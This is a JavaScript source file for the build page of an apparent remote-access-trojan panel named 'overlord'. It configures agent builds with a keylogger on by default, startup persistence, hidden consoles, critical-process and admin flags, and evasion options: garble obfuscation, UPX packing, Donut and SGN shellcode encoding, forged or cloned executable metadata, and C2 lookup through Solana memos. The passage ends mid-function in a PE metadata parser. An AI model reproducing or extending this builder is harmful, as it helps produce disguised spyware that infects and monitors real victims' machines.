import { createBuildProfileManager } from "./build-profile-manager.js"; import { createBuildHistoryManager, formatFileSize, updateExpirationTimer, } from "./build-history-manager.js"; const form = document.getElementById("build-form"); const buildBtn = document.getElementById("build-btn"); const buildStatus = document.getElementById("build-status"); const buildStatusText = document.getElementById("build-status-text"); const buildOutputDiv = document.getElementById("build-output"); const buildOutputContainer = document.getElementById("build-output-container"); const buildResults = document.getElementById("build-results"); const buildFilesDiv = document.getElementById("build-files"); const logoutBtn = document.getElementById("logout-btn"); const usernameDisplay = document.getElementById("username-display"); const roleBadge = document.getElementById("role-badge"); const usersLink = document.getElementById("users-link"); const buildLink = document.getElementById("build-link"); const scriptsLink = document.getElementById("scripts-link"); const pluginsLink = document.getElementById("plugins-link"); const rawServerListCheckbox = document.getElementById("raw-server-list"); const serverUrlInput = document.getElementById("server-url"); const solMemoCheckbox = document.getElementById("sol-memo"); const solSettings = document.getElementById("sol-settings"); const profileSelect = document.getElementById("build-profile-select"); const profileNameInput = document.getElementById("build-profile-name"); const profileSaveBtn = document.getElementById("profile-save-btn"); const profileLoadBtn = document.getElementById("profile-load-btn"); const profileDeleteBtn = document.getElementById("profile-delete-btn"); const profileExportBtn = document.getElementById("profile-export-btn"); const profileImportBtn = document.getElementById("profile-import-btn"); const profileImportFile = document.getElementById("profile-import-file"); const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]'); const persistenceMethodContainer = document.getElementById("persistence-method-container"); const persistenceEmptyState = document.getElementById("persistence-empty-state"); const persistenceWindowsSettings = document.getElementById("persistence-windows-settings"); const persistenceLinuxSettings = document.getElementById("persistence-linux-settings"); const persistenceMacSettings = document.getElementById("persistence-macos-settings"); const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container"); const startupNameMacosHint = document.getElementById("startup-name-macos-hint"); const startupNameDefaultHint = document.getElementById("startup-name-default-hint"); const startupNameError = document.getElementById("startup-name-error"); const platformInputs = document.querySelectorAll('input[name="platform"]'); let currentServerVersion = null; let currentUserRole = null; let showAllBuilds = false; async function loadServerVersion() { try { const res = await fetch("/api/version", { credentials: "include" }); if (!res.ok) { currentServerVersion = null; return; } const payload = await res.json(); const version = typeof payload?.version === "string" ? payload.version.trim() : ""; currentServerVersion = version || null; } catch { currentServerVersion = null; } } function getDefaultServerUrlPlaceholder(isRawList) { if (isRawList) { const isHttps = window.location.protocol === "https:"; const host = window.location.host; return `${isHttps ? "https" : "http"}://${host}/list.txt`; } return ""; } function stripServerUrlPrefix(value) { return String(value || "").replace(/^\s*(wss?|https?):\/\//i, "").trimStart(); } function updateServerUrlHintMode() { const isRaw = rawServerListCheckbox?.checked ?? false; const normalHint = document.getElementById("server-url-hint"); const rawHint = document.getElementById("server-url-raw-hint"); if (normalHint) normalHint.classList.toggle("hidden", isRaw); if (rawHint) rawHint.classList.toggle("hidden", !isRaw); } function updateServerUrlPlaceholder() { if (!serverUrlInput) return; const isRaw = rawServerListCheckbox?.checked ?? false; serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw); updateServerUrlHintMode(); } let isBuilding = false; function initAccordions() { document.querySelectorAll(".accordion-section").forEach((section) => { const header = section.querySelector(".accordion-header"); const body = section.querySelector(".accordion-body"); const chevron = section.querySelector(".accordion-chevron"); const startOpen = section.dataset.open !== "false"; if (!startOpen) { body.classList.add("collapsed"); } else { chevron.classList.add("rotated"); } header.addEventListener("click", () => { const nowCollapsed = body.classList.toggle("collapsed"); chevron.classList.toggle("rotated", !nowCollapsed); }); }); } function updateWindowsSectionVisibility() { const windowsSection = document.getElementById("windows-settings-section"); if (!windowsSection) return; const hasWindows = Array.from( document.querySelectorAll('input[name="platform"]:checked'), ).some((el) => el.value.startsWith("windows-")); windowsSection.classList.toggle("hidden", !hasWindows); } const BUILD_SETTINGS_KEY = "overlord_build_settings"; function collectFormSettings() { return { platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })), serverUrl: document.getElementById("server-url")?.value ?? "", rawServerList: document.getElementById("raw-server-list")?.checked ?? false, solMemo: document.getElementById("sol-memo")?.checked ?? false, solAddress: document.getElementById("sol-address")?.value ?? "", solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "", outputName: document.getElementById("output-name")?.value ?? "", iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "", mutex: document.getElementById("mutex")?.value ?? "", disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false, stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true, disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false, noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false, enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true, enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false, fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false, obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false, garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false, garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false, garbleSeed: document.getElementById("garble-seed")?.value ?? "", enableUpx: document.querySelector('input[name="enable-upx"]')?.checked ?? false, upxStripHeaders: document.querySelector('input[name="upx-strip-headers"]')?.checked ?? false, sleepSeconds: document.getElementById("sleep-seconds")?.value ?? "0", enablePersistence: document.querySelector('input[name="enable-persistence"]')?.checked ?? false, persistenceMethods: Array.from(document.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value), startupName: document.getElementById("startup-name")?.value ?? "", hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false, requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false, criticalProcess: document.querySelector('input[name="critical-process"]')?.checked ?? false, assemblyTitle: document.getElementById("assembly-title")?.value ?? "", assemblyProduct: document.getElementById("assembly-product")?.value ?? "", assemblyCompany: document.getElementById("assembly-company")?.value ?? "", assemblyVersion: document.getElementById("assembly-version")?.value ?? "", assemblyCopyright: document.getElementById("assembly-copyright")?.value ?? "", outputExtension: document.getElementById("output-extension")?.value ?? ".exe", cryptableMode: document.getElementById("cryptable-mode")?.checked ?? false, useDonut: document.getElementById("donut-mode")?.checked ?? false, useLinuxShellcode: document.getElementById("linux-shellcode-mode")?.checked ?? false, shellcodeConsole: document.getElementById("shellcode-console")?.checked ?? false, useSgn: document.getElementById("sgn-mode")?.checked ?? false, sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1, }; } function applyFormSettings(settings) { if (!settings || typeof settings !== "object") return; const setVal = (id, val) => { const el = document.getElementById(id); if (el && val !== undefined && val !== null) el.value = String(val); }; const setCb = (sel, val) => { const el = document.querySelector(sel); if (el && val !== undefined) el.checked = !!val; }; if (Array.isArray(settings.platforms)) { settings.platforms.forEach(({ value, checked }) => { const el = document.querySelector(`input[name="platform"][value="${value}"]`); if (el) el.checked = !!checked; }); } if (settings.serverUrl !== undefined) { const isRaw = !!settings.rawServerList; setVal("server-url", isRaw ? settings.serverUrl : stripServerUrlPrefix(settings.serverUrl)); } if (settings.rawServerList !== undefined) setCb("#raw-server-list", settings.rawServerList); if (settings.solMemo !== undefined) setCb("#sol-memo", settings.solMemo); if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress); if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints); if (settings.outputName !== undefined) setVal("output-name", settings.outputName); if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId); if (settings.mutex !== undefined) setVal("mutex", settings.mutex); if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex); if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug); if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo); if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting); if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger); if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc); if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP); if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate); if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals); if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny); if (settings.garbleSeed !== undefined) setVal("garble-seed", settings.garbleSeed); if (settings.enableUpx !== undefined) setCb('input[name="enable-upx"]', settings.enableUpx); if (settings.upxStripHeaders !== undefined) setCb('input[name="upx-strip-headers"]', settings.upxStripHeaders); if (settings.sleepSeconds !== undefined) setVal("sleep-seconds", settings.sleepSeconds); if (settings.enablePersistence !== undefined) setCb('input[name="enable-persistence"]', settings.enablePersistence); if (Array.isArray(settings.persistenceMethods)) { document.querySelectorAll('input[name="persistence-method"]').forEach((el) => { el.checked = settings.persistenceMethods.includes(el.value); }); } if (settings.startupName !== undefined) setVal("startup-name", settings.startupName); if (settings.hideConsole !== undefined) setCb('input[name="hide-console"]', settings.hideConsole); if (settings.requireAdmin !== undefined) setCb('input[name="require-admin"]', settings.requireAdmin); if (settings.criticalProcess !== undefined) setCb('input[name="critical-process"]', settings.criticalProcess); if (settings.assemblyTitle !== undefined) setVal("assembly-title", settings.assemblyTitle); if (settings.assemblyProduct !== undefined) setVal("assembly-product", settings.assemblyProduct); if (settings.assemblyCompany !== undefined) setVal("assembly-company", settings.assemblyCompany); if (settings.assemblyVersion !== undefined) setVal("assembly-version", settings.assemblyVersion); if (settings.assemblyCopyright !== undefined) setVal("assembly-copyright", settings.assemblyCopyright); if (settings.outputExtension !== undefined) setVal("output-extension", settings.outputExtension); if (settings.cryptableMode !== undefined) setCb("#cryptable-mode", settings.cryptableMode); if (settings.useDonut !== undefined) { setCb("#donut-mode", settings.useDonut); if (settings.useDonut) applyDonutMode(true); } if (settings.useLinuxShellcode !== undefined) { setCb("#linux-shellcode-mode", settings.useLinuxShellcode); if (settings.useLinuxShellcode) applyLinuxShellcodeMode(true); } if (settings.shellcodeConsole !== undefined) setCb("#shellcode-console", settings.shellcodeConsole); if (settings.useSgn !== undefined) { setCb("#sgn-mode", settings.useSgn); if (settings.useSgn) applySgnMode(true); } if (settings.sgnIterations !== undefined) setVal("sgn-iterations", settings.sgnIterations); const restoredObfuscate = document.querySelector('input[name="obfuscate"]'); const garbleContainer = document.getElementById("garble-settings-container"); if (restoredObfuscate && garbleContainer) { garbleContainer.classList.toggle("hidden", !restoredObfuscate.checked); } const restoredUpx = document.querySelector('input[name="enable-upx"]'); const upxContainer = document.getElementById("upx-settings-container"); if (restoredUpx && upxContainer) { upxContainer.classList.toggle("hidden", !restoredUpx.checked); } updateWindowsSectionVisibility(); updateIosSectionVisibility(); updatePersistenceSettingsVisibility(); updateShellcodeCheckboxVisibility(); if (solMemoCheckbox && solSettings) { solSettings.classList.toggle("hidden", !solMemoCheckbox.checked); } if (serverUrlInput && rawServerListCheckbox) { serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(rawServerListCheckbox.checked); updateServerUrlHintMode(); } applyCryptableMode(document.getElementById("cryptable-mode")?.checked || false); } function saveFormSettings() { try { const settings = collectFormSettings(); localStorage.setItem(BUILD_SETTINGS_KEY, JSON.stringify(settings)); } catch (err) { console.error("Failed to save form settings:", err); } } function restoreFormSettings() { try { const raw = localStorage.getItem(BUILD_SETTINGS_KEY); if (!raw) return; const settings = JSON.parse(raw); applyFormSettings(settings); } catch (err) { console.error("Failed to restore form settings:", err); } } const buildProfileManager = createBuildProfileManager({ elements: { profileSelect, profileNameInput, profileSaveBtn, profileLoadBtn, profileDeleteBtn, profileExportBtn, profileImportBtn, profileImportFile, }, collectFormSettings, applyFormSettings, saveFormSettings, }); const { loadBuildProfiles } = buildProfileManager; const buildHistoryManager = createBuildHistoryManager({ buildResults, buildFilesDiv, getCurrentServerVersion: () => currentServerVersion, getCurrentUserRole: () => currentUserRole, getShowAllBuilds: () => showAllBuilds, }); const { displayBuild, loadSavedBuilds, saveBuildToStorage, } = buildHistoryManager; const CRYPTABLE_DISABLE_TARGETS = [ 'input[name="enable-persistence"]', 'input[name="enable-upx"]', 'input[name="upx-strip-headers"]', 'input[name="require-admin"]', 'input[name="critical-process"]', ]; const CRYPTABLE_DISABLE_INPUTS = [ "#assembly-title", "#assembly-product", "#assembly-company", "#assembly-version", "#assembly-copyright", "#output-extension", "#sleep-seconds", ]; const CRYPTABLE_HIDE_SECTIONS = [5, 6, 7]; function applyCryptableMode(enabled) { const badge = document.getElementById("cryptable-badge"); if (badge) badge.classList.toggle("hidden", !enabled); CRYPTABLE_DISABLE_TARGETS.forEach((sel) => { const el = document.querySelector(sel); if (!el) return; if (enabled) { el.checked = false; el.disabled = true; el.closest("label")?.classList.add("opacity-40", "pointer-events-none"); } else { el.disabled = false; el.closest("label")?.classList.remove("opacity-40", "pointer-events-none"); } }); CRYPTABLE_DISABLE_INPUTS.forEach((sel) => { const el = document.querySelector(sel); if (!el) return; if (enabled) { el.dataset.preCryptableValue = el.value; el.value = el.type === "number" ? "0" : ""; el.disabled = true; el.classList.add("opacity-40"); } else { if (el.dataset.preCryptableValue !== undefined) { el.value = el.dataset.preCryptableValue; delete el.dataset.preCryptableValue; } el.disabled = false; el.classList.remove("opacity-40"); } }); const iconUploadEl = document.getElementById("icon-upload"); const iconLabelEl = document.getElementById("icon-label"); if (iconUploadEl) iconUploadEl.disabled = enabled; if (iconLabelEl && enabled) iconLabelEl.closest("label")?.classList.toggle("opacity-40", enabled); if (iconLabelEl && !enabled) iconLabelEl.closest("label")?.classList.remove("opacity-40"); const cloneExeUploadEl = document.getElementById("clone-exe-upload"); if (cloneExeUploadEl) cloneExeUploadEl.disabled = enabled; if (cloneExeUploadEl) cloneExeUploadEl.closest("label")?.classList.toggle("opacity-40", enabled); const bindAddLabelEl = document.getElementById("bind-add-label"); if (bindAddLabelEl) { bindAddLabelEl.classList.toggle("opacity-40", enabled); bindAddLabelEl.classList.toggle("pointer-events-none", enabled); } const sections = document.querySelectorAll(".accordion-section"); CRYPTABLE_HIDE_SECTIONS.forEach((idx) => { const sec = sections[idx - 1]; if (!sec) return; if (enabled) { sec.classList.add("opacity-30", "pointer-events-none"); sec.dataset.cryptableDisabled = "true"; } else { sec.classList.remove("opacity-30", "pointer-events-none"); delete sec.dataset.cryptableDisabled; } }); if (enabled) { updatePersistenceSettingsVisibility(); const upxC = document.getElementById("upx-settings-container"); if (upxC) upxC.classList.add("hidden"); } updateShellcodeCheckboxVisibility(); saveFormSettings(); } function applyCryptableShellcodeGate() { const cryptableOn = !!document.getElementById("cryptable-mode")?.checked; const setGate = (checkboxId, hintId) => { const cb = document.getElementById(checkboxId); const hint = document.getElementById(hintId); if (!cb) return; const label = cb.closest("label"); if (cryptableOn) { cb.disabled = false; label?.classList.remove("opacity-40", "pointer-events-none"); if (hint) hint.classList.add("hidden"); } else { if (cb.checked) { cb.checked = false; cb.dispatchEvent(new Event("change", { bubbles: true })); } cb.disabled = true; label?.classList.add("opacity-40", "pointer-events-none"); if (hint) hint.classList.remove("hidden"); } }; setGate("donut-mode", "donut-cryptable-hint"); setGate("linux-shellcode-mode", "linux-sc-cryptable-hint"); } function updateShellcodeCheckboxVisibility() { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasWindows = selected.some((p) => p.startsWith("windows-")); const hasLinuxAmd64 = selected.includes("linux-amd64"); const donutRow = document.getElementById("donut-row"); if (donutRow) donutRow.classList.toggle("hidden", !hasWindows); const linuxScRow = document.getElementById("linux-sc-row"); if (linuxScRow) linuxScRow.classList.toggle("hidden", !hasLinuxAmd64); applyCryptableShellcodeGate(); // SGN is only meaningful when there's shellcode to encode — i.e. Donut or // Linux shellcode is enabled on a compatible platform. const donutOn = document.getElementById("donut-mode")?.checked && hasWindows; const linuxScOn = document.getElementById("linux-shellcode-mode")?.checked && hasLinuxAmd64; const sgnRow = document.getElementById("sgn-row"); if (sgnRow) sgnRow.classList.toggle("hidden", !(donutOn || linuxScOn)); if (!(donutOn || linuxScOn)) { const sgnCheckbox = document.getElementById("sgn-mode"); if (sgnCheckbox?.checked) { sgnCheckbox.checked = false; applySgnMode(false); } } } function applySgnMode(enabled) { const badge = document.getElementById("sgn-badge"); if (badge) badge.classList.toggle("hidden", !enabled); saveFormSettings(); } function applyDonutMode(enabled) { const badge = document.getElementById("donut-badge"); if (badge) badge.classList.toggle("hidden", !enabled); if (enabled) { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasNonWindows = selected.some((p) => !p.startsWith("windows-")); const nonWinWarn = document.getElementById("donut-nonwin-warn"); if (nonWinWarn) nonWinWarn.classList.toggle("hidden", !hasNonWindows); } saveFormSettings(); } function applyLinuxShellcodeMode(enabled) { const badge = document.getElementById("linux-sc-badge"); if (badge) badge.classList.toggle("hidden", !enabled); if (enabled) { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasNonAmd64Linux = selected.some((p) => p.startsWith("linux-") && p !== "linux-amd64"); const nonX64Warn = document.getElementById("linux-sc-nonx64-warn"); if (nonX64Warn) nonX64Warn.classList.toggle("hidden", !hasNonAmd64Linux); } saveFormSettings(); } restoreFormSettings(); initAccordions(); updateWindowsSectionVisibility(); updateShellcodeCheckboxVisibility(); init(); if (solMemoCheckbox && solSettings) { solSettings.classList.toggle("hidden", !solMemoCheckbox.checked); } if (rawServerListCheckbox && serverUrlInput) { rawServerListCheckbox.addEventListener("change", () => { const isRaw = rawServerListCheckbox.checked; const current = serverUrlInput.value.trim(); if (isRaw && solMemoCheckbox) { solMemoCheckbox.checked = false; if (solSettings) solSettings.classList.add("hidden"); } if (isRaw) { // Raw-list mode wants a real https:// URL pointing at a .txt of endpoints. // Swap any wss:// → https:// / ws:// → http:// the user may have left over. if (current.startsWith("wss://")) { serverUrlInput.value = "https://" + current.slice("wss://".length); } else if (current.startsWith("ws://")) { serverUrlInput.value = "http://" + current.slice("ws://".length); } } else { // Non-raw mode: bare domain only. The agent prepends wss:// itself. serverUrlInput.value = stripServerUrlPrefix(current); } serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(isRaw); updateServerUrlHintMode(); }); // Live-strip protocol prefixes in non-raw mode so the field stays clean and // the user sees their typo corrected immediately. serverUrlInput.addEventListener("input", () => { if (rawServerListCheckbox.checked) return; const before = serverUrlInput.value; const after = stripServerUrlPrefix(before); if (after !== before) { const caret = Math.max(0, (serverUrlInput.selectionStart ?? after.length) - (before.length - after.length)); serverUrlInput.value = after; try { serverUrlInput.setSelectionRange(caret, caret); } catch {} } }); } const rawServerListHelpBtn = document.getElementById("raw-server-list-help"); const rawServerListModal = document.getElementById("raw-server-list-modal"); const rawServerListModalClose = document.getElementById("raw-server-list-modal-close"); const rawServerListModalOk = document.getElementById("raw-server-list-modal-ok"); function showRawServerListModal() { if (!rawServerListModal) return; rawServerListModal.classList.remove("hidden"); rawServerListModal.classList.add("flex"); } function hideRawServerListModal() { if (!rawServerListModal) return; rawServerListModal.classList.remove("flex"); rawServerListModal.classList.add("hidden"); } if (rawServerListHelpBtn) rawServerListHelpBtn.addEventListener("click", showRawServerListModal); if (rawServerListModalClose) rawServerListModalClose.addEventListener("click", hideRawServerListModal); if (rawServerListModalOk) rawServerListModalOk.addEventListener("click", hideRawServerListModal); if (rawServerListModal) { rawServerListModal.addEventListener("click", (e) => { if (e.target === rawServerListModal) hideRawServerListModal(); }); } document.addEventListener("keydown", (e) => { if (e.key === "Escape" && rawServerListModal && !rawServerListModal.classList.contains("hidden")) { hideRawServerListModal(); } }); if (solMemoCheckbox && solSettings) { solMemoCheckbox.addEventListener("change", () => { const isSol = solMemoCheckbox.checked; solSettings.classList.toggle("hidden", !isSol); if (isSol && rawServerListCheckbox) { rawServerListCheckbox.checked = false; if (serverUrlInput) { serverUrlInput.placeholder = getDefaultServerUrlPlaceholder(false); } } if (isSol) { const rpcField = document.getElementById("sol-rpc-endpoints"); if (rpcField && !rpcField.value.trim()) { rpcField.value = [ "https://api.mainnet-beta.solana.com", "https://solana-mainnet.gateway.tatum.io", "https://go.getblock.us/86aac42ad4484f3c813079afc201451c", "https://solana-rpc.publicnode.com", "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc", "https://solana.drpc.org", "https://solana.leorpc.com/?api_key=FREE", "https://solana.api.onfinality.io/public", "https://solana.api.pocket.network/", ].join("\n"); } } }); } function getSelectedPlatformFamilies() { const selectedPlatforms = Array.from( document.querySelectorAll('input[name="platform"]:checked'), ).map((el) => el.value); return { windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")), linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")), darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")), ios: selectedPlatforms.some((platform) => platform.startsWith("ios-")), }; } function validateStartupName() { if (!startupNameError) return true; const families = getSelectedPlatformFamilies(); const val = document.getElementById("startup-name")?.value.trim() || ""; if ((families.darwin || families.ios) && val && !val.startsWith("com.")) { startupNameError.textContent = "macOS/iOS requires the name to start with \"com.\" (e.g. com.apple.updater)"; startupNameError.classList.remove("hidden"); return false; } startupNameError.textContent = ""; startupNameError.classList.add("hidden"); return true; } function updatePersistenceSettingsVisibility() { if (!persistenceMethodContainer) return; const persistenceEnabled = !!persistenceCheckbox?.checked; if (!persistenceEnabled) { persistenceMethodContainer.classList.add("hidden"); return; } persistenceMethodContainer.classList.remove("hidden"); const families = getSelectedPlatformFamilies(); const hasSupportedFamily = families.windows || families.linux || families.darwin; if (persistenceWindowsSettings) { persistenceWindowsSettings.classList.toggle("hidden", !families.windows); } if (persistenceLinuxSettings) { persistenceLinuxSettings.classList.toggle("hidden", !families.linux); } if (persistenceMacSettings) { persistenceMacSettings.classList.toggle("hidden", !families.darwin); } if (persistenceStartupNameContainer) { persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily); } if (startupNameMacosHint) { startupNameMacosHint.classList.toggle("hidden", !families.darwin); } if (startupNameDefaultHint) { startupNameDefaultHint.classList.toggle("hidden", families.darwin); } if (persistenceEmptyState) { persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily); } validateStartupName(); } if (persistenceCheckbox && persistenceMethodContainer) { persistenceCheckbox.addEventListener("change", updatePersistenceSettingsVisibility); } platformInputs.forEach((input) => { input.addEventListener("change", updatePersistenceSettingsVisibility); input.addEventListener("change", updateWindowsSectionVisibility); input.addEventListener("change", updateIosSectionVisibility); }); document.getElementById("startup-name")?.addEventListener("input", validateStartupName); function updateIosSectionVisibility() { const families = getSelectedPlatformFamilies(); const iosBundleIdContainer = document.getElementById("ios-bundle-id-container"); if (iosBundleIdContainer) { iosBundleIdContainer.classList.toggle("hidden", !families.ios); } } updateIosSectionVisibility(); updatePersistenceSettingsVisibility(); form?.addEventListener("change", saveFormSettings); form?.addEventListener("input", saveFormSettings); const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]'); const garbleSettingsContainer = document.getElementById("garble-settings-container"); if (obfuscateCheckbox && garbleSettingsContainer) { obfuscateCheckbox.addEventListener("change", () => { if (obfuscateCheckbox.checked) { garbleSettingsContainer.classList.remove("hidden"); } else { garbleSettingsContainer.classList.add("hidden"); } }); } const upxCheckbox = document.querySelector('input[name="enable-upx"]'); const upxSettingsContainer = document.getElementById("upx-settings-container"); if (upxCheckbox && upxSettingsContainer) { upxCheckbox.addEventListener("change", () => { if (upxCheckbox.checked) { upxSettingsContainer.classList.remove("hidden"); } else { upxSettingsContainer.classList.add("hidden"); } }); } const cryptableCheckbox = document.getElementById("cryptable-mode"); if (cryptableCheckbox) { cryptableCheckbox.addEventListener("change", () => { applyCryptableMode(cryptableCheckbox.checked); }); if (cryptableCheckbox.checked) { applyCryptableMode(true); } } const donutCheckbox = document.getElementById("donut-mode"); if (donutCheckbox) { donutCheckbox.addEventListener("change", () => { applyDonutMode(donutCheckbox.checked); }); if (donutCheckbox.checked) applyDonutMode(true); } const linuxScCheckbox = document.getElementById("linux-shellcode-mode"); if (linuxScCheckbox) { linuxScCheckbox.addEventListener("change", () => { applyLinuxShellcodeMode(linuxScCheckbox.checked); updateShellcodeCheckboxVisibility(); }); if (linuxScCheckbox.checked) applyLinuxShellcodeMode(true); } if (donutCheckbox) { donutCheckbox.addEventListener("change", () => updateShellcodeCheckboxVisibility()); } const sgnCheckbox = document.getElementById("sgn-mode"); if (sgnCheckbox) { sgnCheckbox.addEventListener("change", () => applySgnMode(sgnCheckbox.checked)); if (sgnCheckbox.checked) applySgnMode(true); } const sgnIterationsInput = document.getElementById("sgn-iterations"); if (sgnIterationsInput) { sgnIterationsInput.addEventListener("change", () => saveFormSettings()); } document.querySelectorAll('input[name="platform"]').forEach((el) => { el.addEventListener("change", () => { updateShellcodeCheckboxVisibility(); if (donutCheckbox?.checked) applyDonutMode(true); if (linuxScCheckbox?.checked) applyLinuxShellcodeMode(true); }); }); let pendingIconBase64 = null; const iconUpload = document.getElementById("icon-upload"); const iconLabel = document.getElementById("icon-label"); const iconClear = document.getElementById("icon-clear"); if (iconUpload) { iconUpload.addEventListener("change", () => { const file = iconUpload.files[0]; if (!file) return; if (file.size > 1024 * 1024) { alert("Icon file must be under 1MB"); iconUpload.value = ""; return; } const reader = new FileReader(); reader.onload = () => { const base64 = reader.result.split(",")[1]; pendingIconBase64 = base64; if (iconLabel) iconLabel.textContent = file.name; if (iconClear) iconClear.classList.remove("hidden"); }; reader.readAsDataURL(file); }); } if (iconClear) { iconClear.addEventListener("click", () => { pendingIconBase64 = null; if (iconUpload) iconUpload.value = ""; if (iconLabel) iconLabel.textContent = "Choose .ico file"; iconClear.classList.add("hidden"); }); } function extractPEMetadata(buffer) { const dv = new DataView(buffer); const bytes = new Uint8Array(buffer); const u8 = (o) => dv.getUint8(o); const u16 = (o) => dv.getUint16(o, true); const u32 = (o) => dv.getUint32(o, true); const alignUp = (n) => (n + 3) & ~3; if (buffer.byteLength < 0x40) throw new Error("File too small"); if (u16(0) !== 0x5A4D) throw new Error("Not a PE file (missing MZ header)"); const peOff = u32(0x3C); if (peOff + 24 > buffer.byteLength) throw new Error("Invalid PE offset"); if (u32(peOff) !== 0x4550) throw new Error("Not a PE file (missing PE signature)"); const numSections = u16(peOff + 6); const optHdrSize = u16(peOff + 20); const optMagic = u16(peOff + 24); const is64 = optMagic === 0x20B; // PE32+ vs PE32 const dataDirsOff = peOff + 24 + (is64 ? 112 : 96); const rsrcRVA = u32(dataDirsOff + 2 * 8); // index 2 = IMAGE_DIRECTORY_ENTRY_RESOURCE if (rsrcRVA === 0) throw new Error("No resource section RVA"); const secTableOff = peOff + 24 + optHdrSize; let rsrcRaw = 0; for (let i = 0; i < numSections; i++) { const s = secTableOff + i * 40; const va = u32(s + 12); const vsz = Math.max(u32(s + 8), u32(s + 16)); const raw = u32(s + 20); if (rsrcRVA >= va && rsrcRVA < va + vsz) { rsrcRaw = raw + (rsrcRVA - va); break; } } if (!rsrcRaw) throw new Error("Could not locate resource section raw data"); const rvaToOff = (rva) => rsrcRaw + (rva - rsrcRVA); function rsrcDir(dirOff) { if (dirOff + 16 > buffer.byteLength) return []; const numNamed = u16(dirOff + 12); const numId = u16(dirOff + 14); const total = numNamed + numId; const entries = []; for (let i = 0; i < total; i++) { const e = dirOff + 16 + i * 8; if (e + 8 > buffer.byteLength) break; const nameOrId = u32(e); const dataOrDir = u32(e + 4); entries.push({ id: (nameOrId & 0x80000000) ? null : nameOrId, isSubDir: (dataOrDir & 0x80000000) !== 0, off: dataOrDir & 0x7FFFFFFF, }); } return entries; } const WANT = new Set([3, 14, 16]); const resources = {}; for (const te of rsrcDir(rsrcRaw)) { if (te.id === null || !WANT.has(te.id) || !te.isSubDir) continue; resources[te.id] = {}; for (const ne of rsrcDir(rsrcRaw + te.off)) { if (!ne.isSubDir) continue; const nameId = ne.id ?? 1; resources[te.id][nameId] = []; for (const le of rsrcDir(rsrcRaw + ne.off)) { if (le.isSubDir) continue; const deOff = rsrcRaw + le.off; if (deOff + 8 > buffer.byteLength) continue; const dataRVA = u32(deOff); const dataSize = u32(deOff + 4); const dataOff = rvaToOff(dataRVA); if (dataOff + dataSize <= buffer.byteLength) resources[te.id][nameId].push({ dataOff, dataSize }); } } } function parseVersionStrings(absOff, size) { const strings = {}; const end = absOff + size; let pos = absOff; if (pos + 6 > end) return strings; const viLen = u16(pos); const viValLen = u16(pos + 2); pos += 6; while (pos + 1 < end && (u8(pos) | u8(pos + 1))) pos += 2; pos = alignUp(pos + 2); pos += viValLen; pos = alignUp(pos); const viEnd = Math.min(absOff + viLen, end); while (pos + 6 < viEnd) { const childLen = u16(pos); if (childLen < 6) break; const childEnd = Math.min(pos + childLen, viEnd); let kp = pos + 6; let key = ""; while (kp + 1 < childEnd && (u8(kp) | u8(kp + 1))) { key += String.fromCharCode(u8(kp) | (u8(kp + 1) << 8)); kp += 2; } kp = alignUp(kp + 2); if (key === "StringFileInfo") { let sp = kp; while (sp + 6 < childEnd) { const stLen = u16(sp); if (stLen < 6) break; const stEnd = Math.min(sp + stLen, childEnd); let tp = sp + 6; while (tp + 1 < stEnd && (u8(tp) | u8(tp + 1))) tp += 2; tp = alignUp(tp + 2); while (tp + 6 < stEnd) { const sLen = u16(tp); if (sLen < 6) break; const sEnd = Math.min(tp + sLen, stEnd); const sValLen = u16(tp + 2); let np = tp + 6; let name = ""; while (np + 1 < sEnd && (u8(np) | u8(np + 1))) { name += String.fromCharCode(u8(np) | (u8(np + 1) << 8)); np += 2; } np = alignUp(np + 2); let val = ""; const valEnd = Math.min(np + sValLen * 2, 